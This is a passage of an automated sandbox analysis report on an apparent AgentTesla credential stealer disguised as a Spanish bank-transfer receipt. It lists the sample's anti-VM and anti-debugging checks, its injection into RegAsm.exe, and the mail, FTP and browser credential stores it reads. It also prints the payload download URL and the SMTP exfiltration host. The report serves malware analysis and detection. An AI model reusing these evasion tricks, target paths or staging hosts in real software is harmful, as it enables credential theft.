Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\justificante de la transfer.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Users\user\Desktop\justificante de la transfer.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Program Files\qga\qga.exe

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: justificante de la transfer.exe, 00000001.00000002.87114027245.00000000022E0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V2.0.50727\REGASM.EXE\SYSWOW64\MSVBVM60.DLL
Source: justificante de la transfer.exe, 00000001.00000002.87114027245.00000000022E0000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.91580197000.00000000015B0000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: RegAsm.exe, 00000009.00000002.91580197000.00000000015B0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1VAVSGMES_78ZFQTWDBQSXHJKINZKE_ZCWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO
Source: justificante de la transfer.exe, 00000001.00000002.87113248604.0000000000674000.00000004.00000020.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEV

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Function Chain: threadResumed,threadDelayed,memAlloc,processSet,systemQueried,systemQueried,systemQueried,threadCreated,threadResumed,threadDelayed,threadDelayed,systemQueried,systemQueried,systemQueried,threadDelayed,memAlloc,threadDelayed,threadDelayed,threadDelayed,systemQueried,threadDelayed,systemQueried,memAlloc,threadDelayed,threadDelayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Function Chain: systemQueried,systemQueried,threadCreated,threadResumed,threadDelayed,threadDelayed,systemQueried,systemQueried,systemQueried,threadDelayed,memAlloc,threadDelayed,threadDelayed,threadDelayed,systemQueried,threadDelayed,systemQueried,memAlloc,threadDelayed,threadDelayed,memAlloc,memAlloc,memAlloc,memAlloc,memAlloc

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 7240	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 7240	Thread sleep time: -40350000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 6216	Thread sleep time: -158000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 7240	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe TID: 7240	Thread sleep time: -53874s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Window / User API: threadDelayed 1345

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 30000
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\justificante de la transfer.exe

System information queried: ModuleInformation

Source: justificante de la transfer.exe, 00000001.00000002.87114027245.00000000022E0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe\syswow64\msvbvm60.dll
Source: RegAsm.exe, 00000009.00000002.91580197000.00000000015B0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=1vavsgmes_78ZFqtwdBQSXHJKINzKE_zCwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: justificante de la transfer.exe, 00000001.00000002.87113248604.0000000000674000.00000004.00000020.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exev
Source: RegAsm.exe, 00000009.00000002.91581052815.00000000016CF000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: justificante de la transfer.exe, 00000001.00000002.87114027245.00000000022E0000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.91580197000.00000000015B0000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: RegAsm.exe, 00000009.00000002.91581052815.00000000016CF000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW_

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\justificante de la transfer.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Thread information set: HideFromDebugger

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\justificante de la transfer.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Code function: 9_2_1D1E5090 LdrInitializeThunk,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

Writes to foreign memory regions

Show sources

Source: C:\Users\user\Desktop\justificante de la transfer.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe base: 1320000

Source: C:\Users\user\Desktop\justificante de la transfer.exe

Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe 'C:\Users\user\Desktop\justificante de la transfer.exe'

Source: RegAsm.exe, 00000009.00000002.91581839862.0000000001AF0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 00000009.00000002.91581839862.0000000001AF0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: RegAsm.exe, 00000009.00000002.91581839862.0000000001AF0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: RegAsm.exe, 00000009.00000002.91581839862.0000000001AF0000.00000002.00020000.sdmp	Binary or memory string: -Program Manager

Source: C:\Users\user\Desktop\justificante de la transfer.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5360, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Source: Yara match	File source: 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5360, type: MEMORYSTR

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5360, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	DLL Side-Loading1	Access Token Manipulation1	Disable or Modify Tools11	OS Credential Dumping2	Security Software Discovery421	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Encrypted Channel21	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Process Injection112	Virtualization/Sandbox Evasion341	Input Capture11	Process Discovery2	Remote Desktop Protocol	Input Capture11	Exfiltration Over Bluetooth	Ingress Tool Transfer2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	DLL Side-Loading1	Access Token Manipulation1	Credentials in Registry1	Virtualization/Sandbox Evasion341	SMB/Windows Admin Shares	Archive Collected Data1	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection112	NTDS	Application Window Discovery1	Distributed Component Object Model	Data from Local System2	Scheduled Transfer	Application Layer Protocol23	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing1	Cached Domain Credentials	System Information Discovery115	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	DLL Side-Loading1	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
justificante de la transfer.exe	33%	Virustotal		Browse
justificante de la transfer.exe	16%	ReversingLabs	Win32.Trojan.Mucc
justificante de la transfer.exe	100%	Avira	TR/AD.Nekark.xzcho

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
1.0.justificante de la transfer.exe.400000.0.unpack	100%	Avira	TR/AD.Nekark.xzcho		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://DynDns.comDynDNS	0%	Avira URL Cloud	safe
http://nKWW4cNb0Z3wwzX5.net	0%	Avira URL Cloud	safe
http://CsFYNg.com	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
smtp.1and1.es	212.227.15.158	true	false	high
drive.google.com	142.250.186.78	true	false	high
googlehosted.l.googleusercontent.com	172.217.18.97	true	false	high
doc-0s-1s-docs.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-0s-1s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/6ij4sbsviu1voaqi3vqcfesu7arhjmk8/1632943575000/10336038596844869013/*/1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC?e=download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://doc-0s-1s-docs.googleusercontent.com/Ut	RegAsm.exe, 00000009.00000002.91580886653.00000000016AE000.00000004.00000020.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flash	RegAsm.exe, 00000009.00000002.91590630666.000000001E735000.00000004.00000001.sdmp	false		high
http://127.0.0.1:HTTP/1.1	RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://DynDns.comDynDNS	RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://nKWW4cNb0Z3wwzX5.net	RegAsm.exe, 00000009.00000002.91590630666.000000001E735000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000003.87962900690.000000001D001000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.91591125410.000000001E79F000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.91591356113.000000001E7D1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://CsFYNg.com	RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
